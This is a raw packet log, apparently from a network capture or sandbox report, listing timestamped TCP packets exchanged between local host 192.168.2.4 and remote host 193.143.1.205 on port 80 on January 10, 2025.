Jan 10, 2025 19:42:00.333465099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.333481073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333502054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333667994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.333700895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.378015041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.378036022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.378048897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.378107071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.378150940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.381673098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381689072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381700993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381712914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381726027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381737947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381741047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.381752014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381766081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.381768942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.381812096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.381839037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413708925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413722992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413752079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413765907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413774967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413780928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413795948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413809061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413811922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413834095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413836956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413849115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413867950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413893938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413930893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.413952112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413964033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.413975000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414012909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.414063931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414077044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414088011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414099932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414108038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.414148092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.414223909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414236069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.414274931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.444897890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.444910049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.444921017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.444932938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.444978952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445031881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445055962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445066929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445086956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445099115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445101023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445112944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445125103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445174932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445178032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445190907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445200920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445249081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445281982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445317030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445379019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445394039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445410013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445420980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445434093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445436001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445449114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445462942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445518017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445552111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445564032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445574999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445620060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445681095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445694923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445707083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445719957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445719957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445734024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445785046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445794106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445795059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445930958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445945978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445956945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445969105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445976973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445983887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.445991993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.445996046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446010113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446023941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446029902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446060896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446192026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446207047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446238995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446268082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446284056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446300983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446310997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446345091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446350098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446387053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446399927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446413040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446424961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446432114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446439028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446451902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446455002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446497917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446669102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446686029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446697950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446708918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446717978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446737051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446741104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446749926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446762085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446774006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446779966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446787119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446799994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446799994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446814060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446827888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446831942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446841955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446856022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.446861029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.446887016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.448136091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.449991941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450045109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450172901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450185061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450196981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450211048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450222969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450226068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450234890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450248003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450259924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450269938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450273037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450287104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450298071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450301886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450311899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450323105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450324059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450347900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450546980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450576067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450587034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450588942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450598001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450611115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450622082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450629950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450634956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450645924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450659037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450671911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450685024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.450692892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450692892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450723886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.450912952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469069958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469084024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469095945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469106913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469119072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469130039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469150066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469156981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.469161987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469175100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469187021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469201088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469204903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.469214916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469228029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469238997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.469239950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.469266891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.501077890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501104116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501118898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501130104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501137018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501147985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501159906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501166105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501177073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501180887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.501188993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501203060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501215935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501230955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501243114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501247883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.501256943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501271009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501285076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501298904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501312017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501312971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.501324892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.501339912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.501364946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532083988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532102108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532114983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532140017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532140017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532155037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532169104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532181025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532191038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532191992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532206059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532231092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532253981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532272100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532280922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532289982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532309055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532314062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532327890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532339096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532345057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532366037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532371044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532385111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532397032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532409906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532418966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532435894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532445908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532449961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532460928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532474995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532486916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532499075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532506943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532507896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532521963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532548904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532558918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532563925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532572031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532577991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532589912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532613993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532651901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532671928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532685995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532700062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532711983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532725096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532736063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532748938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532759905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532799006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532809973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532833099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532845974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532856941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532856941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532872915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532885075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532896042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532900095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.532932997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532953978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.532999039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533011913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533023119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533035994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533047915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533051014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533063889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533077955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533097982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533113003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533227921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533238888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533251047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533262968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533276081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533277988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533288002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533302069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533303022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533314943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533329964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533334017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533349991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533363104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533373117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533387899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533390045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533405066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533415079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533418894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533441067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533451080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533466101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533478975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533507109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533540010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533565998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533577919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533585072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533607960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533615112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533627033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533637047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533642054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533657074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533668041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533680916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533694029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533705950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533719063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.533729076 CET	80	49730	193.143.1.205	192.168.2.4
